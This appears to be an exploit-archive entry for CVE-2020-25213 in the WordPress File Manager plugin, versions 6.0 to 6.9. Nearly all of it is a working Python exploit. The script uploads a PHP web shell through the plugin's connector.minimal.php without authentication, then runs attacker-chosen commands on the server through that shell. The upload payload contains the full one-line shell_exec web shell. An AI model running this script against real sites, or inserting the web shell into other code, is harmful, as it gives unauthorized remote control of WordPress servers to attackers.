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WordPress File Manager 6.9 Shell Upload

WordPress File Manager 6.9 Shell Upload
Posted Apr 3, 2023
Authored by BLY

WordPress File Manager plugin versions 6.0 through 6.9 suffer from a remote shell upload vulnerability.

tags | exploit, remote, shell
advisories | CVE-2020-25213
SHA-256 | a1f366a0f60a7beafe96ce6d9ac3ffdd4a66ef5534913ee8ca915a2a5345d1e3

WordPress File Manager 6.9 Shell Upload

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#!/usr/bin/env

# Exploit Title: WP-file-manager v6.9 - Unauthenticated Arbitrary File Upload leading to RCE
# Date: [ 22-01-2023 ]
# Exploit Author: [BLY]
# Vendor Homepage: [https://wpscan.com/vulnerability/10389]
# Version: [ File Manager plugin 6.0-6.9]
# Tested on: [ Debian ]
# CVE : [ CVE-2020-25213 ]

import sys,signal,time,requests
from bs4 import BeautifulSoup
#from pprint import pprint

def handler(sig,frame):
print ("[!]Saliendo")
sys.exit(1)

signal.signal(signal.SIGINT,handler)

def commandexec(command):

exec_url = url+"/wp-content/plugins/wp-file-manager/lib/php/../files/shell.php"
params = {
"cmd":command
}

r=requests.get(exec_url,params=params)

soup = BeautifulSoup(r.text, 'html.parser')
text = soup.get_text()

print (text)
def exploit():

global url

url = sys.argv[1]
command = sys.argv[2]
upload_url = url+"/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php"

headers = {
'content-type': "multipart/form-data; boundary=----WebKitFormBoundaryvToPIGAB0m9SB1Ww",
'Connection': "close"
}

payload = "------WebKitFormBoundaryvToPIGAB0m9SB1Ww\r\nContent-Disposition: form-data; name=\"cmd\"\r\n\r\nupload\r\n------WebKitFormBoundaryvToPIGAB0m9SB1Ww\r\nContent-Disposition: form-data; name=\"target\"\r\n\r\nl1_Lw\r\n------WebKitFormBoundaryvToPIGAB0m9SB1Ww\r\nContent-Disposition: form-data; name=\"upload[]\"; filename=\"shell.php\"\r\nContent-Type: application/x-php\r\n\r\n<?php echo \"<pre>\" . shell_exec($_REQUEST['cmd']) . \"</pre>\"; ?>\r\n------WebKitFormBoundaryvToPIGAB0m9SB1Ww--"

try:
r=requests.post(upload_url,data=payload,headers=headers)
#pprint(r.json())
commandexec(command)
except:
print("[!] Algo ha salido mal...")




def help():

print ("\n[*] Uso: python3",sys.argv[0],"\"url\" \"comando\"")
print ("[!] Ejemplo: python3",sys.argv[0],"http://wordpress.local/ id")




if __name__ == '__main__':

if len(sys.argv) != 3:
help()

else:
exploit()


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